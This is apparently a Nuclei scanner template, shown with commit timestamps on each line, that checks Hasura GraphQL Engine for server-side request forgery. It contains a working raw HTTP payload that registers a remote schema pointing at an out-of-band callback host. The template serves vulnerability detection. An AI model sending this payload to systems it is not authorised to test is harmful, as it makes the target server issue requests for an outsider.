2021-07-12 15:19:09 +00:00
|
|
|
id: hasura-graphql-ssrf
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-07-12 15:19:09 +00:00
|
|
|
info:
|
2024-01-02 15:45:12 +00:00
|
|
|
name: Hasura GraphQL Engine - Server Side Request Forgery
|
2021-07-12 15:19:09 +00:00
|
|
|
author: princechaddha
|
|
|
|
severity: high
|
2024-01-02 15:45:12 +00:00
|
|
|
description: Hasura GraphQL Engine is vulnerable to SSRF( Server Side Request Forgery )
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://cxsecurity.com/issue/WLB-2021040115
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: hasura,ssrf,graphql
|
2021-07-12 15:19:09 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-12 15:19:09 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /v1/query HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2021-09-08 12:17:19 +00:00
|
|
|
Content-Type: application/json
|
2021-07-12 15:19:09 +00:00
|
|
|
Accept: */*
|
|
|
|
|
|
|
|
{
|
2021-07-13 10:27:10 +00:00
|
|
|
"type":"bulk",
|
|
|
|
"args":[
|
|
|
|
{
|
|
|
|
"type":"add_remote_schema",
|
|
|
|
"args":{
|
|
|
|
"name":"test",
|
|
|
|
"definition":{
|
|
|
|
"url":"https://{{interactsh-url}}",
|
|
|
|
"headers":[
|
|
|
|
],
|
|
|
|
"timeout_seconds":60,
|
|
|
|
"forward_client_headers":true
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
2021-07-12 15:19:09 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 400
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
|
|
|
- "http"
|
2024-01-15 11:49:24 +00:00
|
|
|
# digest: 4b0a00483046022100a7f6d01d3252bce0d06a6566c774eda2dffb179cfd030fbdd229e36d8ee07ffe022100b6050c6a49e78394169df7c1e66e0bbaa9f7cdea69e7546c373dcba595e76970:922c64590222798bb761d5b6d8e72950
|